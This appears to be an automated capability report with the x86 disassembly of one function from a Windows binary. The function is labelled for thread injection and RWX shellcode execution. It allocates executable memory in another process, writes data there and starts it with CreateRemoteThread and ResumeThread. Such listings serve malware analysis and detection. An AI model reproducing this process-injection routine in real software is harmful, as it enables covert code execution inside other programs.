Function at 0x4d04fc
Capabilities:
Allocate or change rwx memory
Create thread
Execute shellcode via indirect call
Inject thread
Resume thread
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4c
mov dword [ebp - 4], 0
mov dword [ebp - 8], 0
mov dword [ebp - 0xc], 0
mov dword [ebp - 0x10], 0
mov dword [ebp - 0x14], 0
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x20], 0
push 0x7604ff
push dword [ebp - 4]
mov ecx, 2
call fcn.004c8ae8
add esp, 8
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x24]
push eax
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x4d0569
push ebx
call fcn.005fffbe
add esp, 4
pop eax
mov dword [ebp - 4], eax
cmp dword [ebp + 0x14], 0
mov eax, 0
sete al
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], 0
jne 0x4d067c
mov ebx, dword [ebp + 0x10]
mov ebx, dword [ebx]
call fcn.004c6a67
mov dword [ebp - 8], eax
mov eax, dword [ebp - 8]
xor ecx, ecx
push eax
lea eax, [ebp - 0xc]
mov ebx, eax
pop eax
inc ecx
push ecx
push ebx
mov dword [ebx], ecx
push eax
cmp ecx, eax
jg 0x4d0679
mov ebx, dword [ebp + 0x10]
mov ebx, dword [ebx]
call fcn.004c6a80
push ebx
push ecx
fild dword [ebp - 8]
fstp qword [ebp - 0x28]
fld qword [ebp - 0x28]
fild dword [ebp - 0xc]
fstp qword [ebp - 0x30]
fsub qword [ebp - 0x30]
fstp qword [ebp - 0x38]
fld qword [ebp - 0x38]
fadd qword [0x760425]
fstp qword [ebp - 0x40]
fld qword [ebp - 0x40]
call fcn.004c58cd
dec eax
jns 0x4d05f2
push 4
call fcn.005fffca
add esp, 4
pop ecx
pop ebx
cmp eax, ecx
jl 0x4d0605
push 1
call fcn.005fffca
add esp, 4
shl eax, 2
add ebx, eax
mov dword [ebp - 0x44], ebx
push 0x80000301
push 0
mov ebx, dword [ebp - 0x44]
push dword [ebx]
push 1
mov ebx, 0x198
call fcn.00603380
add esp, 0x10
mov dword [ebp - 0x48], eax
push dword [ebp - 0x48]
push 0x7604f6
push dword [ebp - 4]
mov ecx, 3
call fcn.004c8ae8
add esp, 0xc
mov dword [ebp - 0x4c], eax
mov ebx, dword [ebp - 0x48]
test ebx, ebx
je 0x4d0659
push ebx
call fcn.005fffbe
add esp, 4
mov eax, dword [ebp - 0x4c]
push eax
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x4d066d
push ebx
call fcn.005fffbe
add esp, 4
pop eax
mov dword [ebp - 4], eax
pop eax
pop ebx
pop ecx
jmp 0x4d059f
add esp, 0xc
cmp dword [ebp + 0x1c], 0
mov eax, 0
sete al
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], 0
jne 0x4d0abf
mov ebx, dword [ebp + 0x18]
mov ebx, dword [ebx]
add ebx, 0x14
mov dword [ebp - 0x24], ebx
mov ebx, dword [ebp - 0x24]
cmp dword [ebx], 0
je 0x4d071b
mov ebx, dword [ebp + 0x18]
mov ebx, dword [ebx]
add ebx, 0x14
mov dword [ebp - 0x24], ebx
push 0x80000301
push 0
mov ebx, dword [ebp - 0x24]
push dword [ebx]
push 1
mov ebx, 0x198
call fcn.00603380
add esp, 0x10
mov dword [ebp - 0x28], eax
push dword [ebp - 0x28]
push 0x763c06
push dword [ebp - 4]
mov ecx, 3
call fcn.004c8ae8
add esp, 0xc
mov dword [ebp - 0x2c], eax
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x4d0703
push ebx
call fcn.005fffbe
add esp, 4
mov eax, dword [ebp - 0x2c]
push eax
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x4d0717
push ebx
call fcn.005fffbe
add esp, 4
pop eax
mov dword [ebp - 4], eax
mov ebx, dword [ebp + 0x18]
mov ebx, dword [ebx]
add ebx, 0x10
mov dword [ebp - 0x24], ebx
mov ebx, dword [ebp - 0x24]
cmp dword [ebx], 0
je 0x4d07a1
mov ebx, dword [ebp + 0x18]
mov ebx, dword [ebx]
add ebx, 0x10
mov dword [ebp - 0x24], ebx
push 0x80000301
push 0
mov ebx, dword [ebp - 0x24]
push dword [ebx]
push 1
mov ebx, 0x198
call fcn.00603380
add esp, 0x10
mov dword [ebp - 0x28], eax
push dword [ebp - 0x28]
push 0x763c10
push dword [ebp - 4]
mov ecx, 3
call fcn.004c8ae8
add esp, 0xc
mov dword [ebp - 0x2c], eax
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x4d0789
push ebx
call fcn.005fffbe
add esp, 4
mov eax, dword [ebp - 0x2c]
push eax
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x4d079d
push ebx
call fcn.005fffbe
add esp, 4
pop eax
mov dword [ebp - 4], eax
mov ebx, dword [ebp + 0x18]
mov ebx, dword [ebx]
add ebx, 0xc
mov dword [ebp - 0x24], ebx
mov ebx, dword [ebp - 0x24]
cmp dword [ebx], 0
je 0x4d0827
mov ebx, dword [ebp + 0x18]
mov ebx, dword [ebx]
add ebx, 0xc
mov dword [ebp - 0x24], ebx
push 0x80000301
push 0
mov ebx, dword [ebp - 0x24]
push dword [ebx]
push 1
mov ebx, 0x198
call fcn.00603380
add esp, 0x10
mov dword [ebp - 0x28], eax
push dword [ebp - 0x28]
push 0x763c1a
push dword [ebp - 4]
mov ecx, 3
call fcn.004c8ae8
add esp, 0xc
mov dword [ebp - 0x2c], eax
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x4d080f
push ebx
call fcn.005fffbe
add esp, 4
mov eax, dword [ebp - 0x2c]
push eax
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x4d0823
push ebx
call fcn.005fffbe
add esp, 4
pop eax
mov dword [ebp - 4], eax
mov ebx, dword [ebp + 0x18]
mov ebx, dword [ebx]
add ebx, 8
mov dword [ebp - 0x24], ebx
mov ebx, dword [ebp - 0x24]
cmp dword [ebx], 0
je 0x4d08ad
mov ebx, dword [ebp + 0x18]
mov ebx, dword [ebx]
add ebx, 8
mov dword [ebp - 0x24], ebx
push 0x80000301
push 0
mov ebx, dword [ebp - 0x24]
push dword [ebx]
push 1
mov ebx, 0x198
call fcn.00603380
add esp, 0x10
mov dword [ebp - 0x28], eax
push dword [ebp - 0x28]
push 0x763c24
push dword [ebp - 4]
mov ecx, 3
call fcn.004c8ae8
add esp, 0xc
mov dword [ebp - 0x2c], eax
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x4d0895
push ebx
call fcn.005fffbe
add esp, 4
mov eax, dword [ebp - 0x2c]
push eax
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x4d08a9
push ebx
call fcn.005fffbe
add esp, 4
pop eax
mov dword [ebp - 4], eax
mov ebx, dword [ebp + 0x18]
mov ebx, dword [ebx]
add ebx, 0x1c
mov dword [ebp - 0x24], ebx
mov ebx, dword [ebp - 0x24]
cmp dword [ebx], 0
je 0x4d0933
mov ebx, dword [ebp + 0x18]
mov ebx, dword [ebx]
add ebx, 0x1c
mov dword [ebp - 0x24], ebx
push 0x80000301
push 0
mov ebx, dword [ebp - 0x24]
push dword [ebx]
push 1
mov ebx, 0x198
call fcn.00603380
add esp, 0x10
mov dword [ebp - 0x28], eax
push dword [ebp - 0x28]
push 0x763c2e
push dword [ebp - 4]
mov ecx, 3
call fcn.004c8ae8
add esp, 0xc
mov dword [ebp - 0x2c], eax
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x4d091b
push ebx
call fcn.005fffbe
add esp, 4
mov eax, dword [ebp - 0x2c]
push eax
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x4d092f
push ebx
call fcn.005fffbe
add esp, 4
pop eax
mov dword [ebp - 4], eax
mov ebx, dword [ebp + 0x18]
mov ebx, dword [ebx]
add ebx, 0x18
mov dword [ebp - 0x24], ebx
mov ebx, dword [ebp - 0x24]
cmp dword [ebx], 0
je 0x4d09b9
mov ebx, dword [ebp + 0x18]
mov ebx, dword [ebx]
add ebx, 0x18
mov dword [ebp - 0x24], ebx
push 0x80000301
push 0
mov ebx, dword [ebp - 0x24]
push dword [ebx]
push 1
mov ebx, 0x198
call fcn.00603380
add esp, 0x10
mov dword [ebp - 0x28], eax
push dword [ebp - 0x28]
push 0x763c38
push dword [ebp - 4]
mov ecx, 3
call fcn.004c8ae8
add esp, 0xc
mov dword [ebp - 0x2c], eax
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x4d09a1
push ebx
call fcn.005fffbe
add esp, 4
mov eax, dword [ebp - 0x2c]
push eax
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x4d09b5
push ebx
call fcn.005fffbe
add esp, 4
pop eax
mov dword [ebp - 4], eax
mov ebx, dword [ebp + 0x18]
mov ebx, dword [ebx]
add ebx, 4
mov dword [ebp - 0x24], ebx
mov ebx, dword [ebp - 0x24]
cmp dword [ebx], 0
je 0x4d0a3f
mov ebx, dword [ebp + 0x18]
mov ebx, dword [ebx]
add ebx, 4
mov dword [ebp - 0x24], ebx
push 0x80000301
push 0
mov ebx, dword [ebp - 0x24]
push dword [ebx]
push 1
mov ebx, 0x198
call fcn.00603380
add esp, 0x10
mov dword [ebp - 0x28], eax
push dword [ebp - 0x28]
push 0x763c42
push dword [ebp - 4]
mov ecx, 3
call fcn.004c8ae8
add esp, 0xc
mov dword [ebp - 0x2c], eax
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x4d0a27
push ebx
call fcn.005fffbe
add esp, 4
mov eax, dword [ebp - 0x2c]
push eax
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x4d0a3b
push ebx
call fcn.005fffbe
add esp, 4
pop eax
mov dword [ebp - 4], eax
mov ebx, dword [ebp + 0x18]
mov ebx, dword [ebx]
mov dword [ebp - 0x24], ebx
mov ebx, dword [ebp - 0x24]
cmp dword [ebx], 0
je 0x4d0abf
mov ebx, dword [ebp + 0x18]
mov ebx, dword [ebx]
mov dword [ebp - 0x24], ebx
push 0x80000301
push 0
mov ebx, dword [ebp - 0x24]
push dword [ebx]
push 1
mov ebx, 0x198
call fcn.00603380
add esp, 0x10
mov dword [ebp - 0x28], eax
push dword [ebp - 0x28]
push 0x763c4c
push dword [ebp - 4]
mov ecx, 3
call fcn.004c8ae8
add esp, 0xc
mov dword [ebp - 0x2c], eax
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x4d0aa7
push ebx
call fcn.005fffbe
add esp, 4
mov eax, dword [ebp - 0x2c]
push eax
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x4d0abb
push ebx
call fcn.005fffbe
add esp, 4
pop eax
mov dword [ebp - 4], eax
push reloc.wsock32.dll_getpeername
push 0
mov eax, dword [ebp - 4]
test eax, eax
jne 0x4d0ad2
mov eax, 0x760403
push eax
push 1
mov ebx, 0x194
call fcn.006031d0
add esp, 0x10
mov dword [ebp - 0x2c], eax
fild dword [ebp - 0x2c]
fstp qword [ebp - 0x2c]
fld qword [ebp - 0x2c]
fadd qword [0x763c56]
fstp qword [ebp - 0x34]
fld qword [ebp - 0x34]
call fcn.004c58cd
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x24], esp
push 0x40
push 0x1000
push dword [ebp - 0x10]
push 0
push dword [ebp + 8]
call dword [sym.imp.kernel32.dll_VirtualAllocEx]
nop
nop
nop
nop
cmp dword [ebp - 0x24], esp
je 0x4d0b39
push 6
call fcn.005fffca
add esp, 4
mov dword [ebp - 0x14], eax
push reloc.wsock32.dll_getpeername
push 0
mov eax, dword [ebp - 4]
test eax, eax
jne 0x4d0b4f
mov eax, 0x760403
push eax
push 1
mov ebx, 0x194
call fcn.006031d0
add esp, 0x10
mov dword [ebp - 0x24], eax
fild dword [ebp - 0x14]
fstp qword [ebp - 0x2c]
fld qword [ebp - 0x2c]
fild dword [ebp - 0x24]
fstp qword [ebp - 0x34]
fadd qword [ebp - 0x34]
fstp qword [ebp - 0x3c]
push 1
fld qword [ebp - 0x3c]
call fcn.004c58cd
push eax
push dword [ebp + 0xc]
call fcn.004d0d55
mov dword [ebp - 0x40], eax
push dword [ebp - 0x40]
push dword [ebp - 4]
mov ecx, 2
call fcn.004c8ae8
add esp, 8
mov dword [ebp - 0x44], eax
mov ebx, dword [ebp - 0x40]
test ebx, ebx
je 0x4d0bb6
push ebx
call fcn.005fffbe
add esp, 4
mov eax, dword [ebp - 0x44]
push eax
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x4d0bca
push ebx
call fcn.005fffbe
add esp, 4
pop eax
mov dword [ebp - 4], eax
push 0x763c5e
push dword [ebp - 4]
mov ecx, 2
call fcn.004c8ae8
add esp, 8
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x24]
push eax
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x4d0bfa
push ebx
call fcn.005fffbe
add esp, 4
pop eax
mov dword [ebp - 4], eax
mov dword [ebp - 0x24], esp
push 0
push dword [ebp - 0x10]
mov eax, dword [ebp - 4]
test eax, eax
je 0x4d0c13
add eax, 8
push eax
push dword [ebp - 0x14]
push dword [ebp + 8]
call dword [sym.imp.kernel32.dll_WriteProcessMemory]
nop
nop
nop
nop
cmp dword [ebp - 0x24], esp
je 0x4d0c36
push 6
call fcn.005fffca
add esp, 4
mov dword [ebp - 0x24], esp
push dword [ebp - 0x1c]
push 4
push 0
push dword [ebp - 0x14]
push 0
push 0
push dword [ebp + 8]
call dword [sym.imp.kernel32.dll_CreateRemoteThread]
nop
nop
nop
nop
cmp dword [ebp - 0x24], esp
je 0x4d0c72
push 6
call fcn.005fffca
add esp, 4
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x24], esp
push dword [ebp - 0x18]
call dword [sym.imp.kernel32.dll_ResumeThread]
nop
nop
nop
nop
cmp dword [ebp - 0x24], esp
je 0x4d0c97
push 6
call fcn.005fffca
add esp, 4
mov dword [ebp - 0x24], esp
push 0xffffffff
push dword [ebp - 0x18]
call dword [sym.imp.kernel32.dll_WaitForSingleObject]
nop
nop
nop
nop
cmp dword [ebp - 0x24], esp
je 0x4d0cbe
push 6
call fcn.005fffca
add esp, 4
mov dword [ebp - 0x24], esp
lea eax, [ebp - 0x20]
push eax
push dword [ebp - 0x18]
call dword [0x7ad2f1]
nop
nop
nop
nop
cmp dword [ebp - 0x24], esp
je 0x4d0ce4
push 6
call fcn.005fffca
add esp, 4
mov dword [ebp - 0x24], esp
push 0x8000
push 0
push dword [ebp - 0x14]
push dword [ebp + 8]
call dword [0x7ad2f5]
nop
nop
nop
nop
cmp dword [ebp - 0x24], esp
je 0x4d0d13
push 6
call fcn.005fffca
add esp, 4
mov dword [ebp - 0x24], esp
push dword [ebp - 0x18]
call dword [0x7ad2f9]
nop
nop
nop
nop
cmp dword [ebp - 0x24], esp
je 0x4d0d35
push 6
call fcn.005fffca
add esp, 4
mov eax, dword [ebp - 0x20]
jmp 0x4d0d3d
push eax
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x4d0d4e
push ebx
call fcn.005fffbe
add esp, 4
pop eax
mov esp, ebp
pop ebp
ret 0x18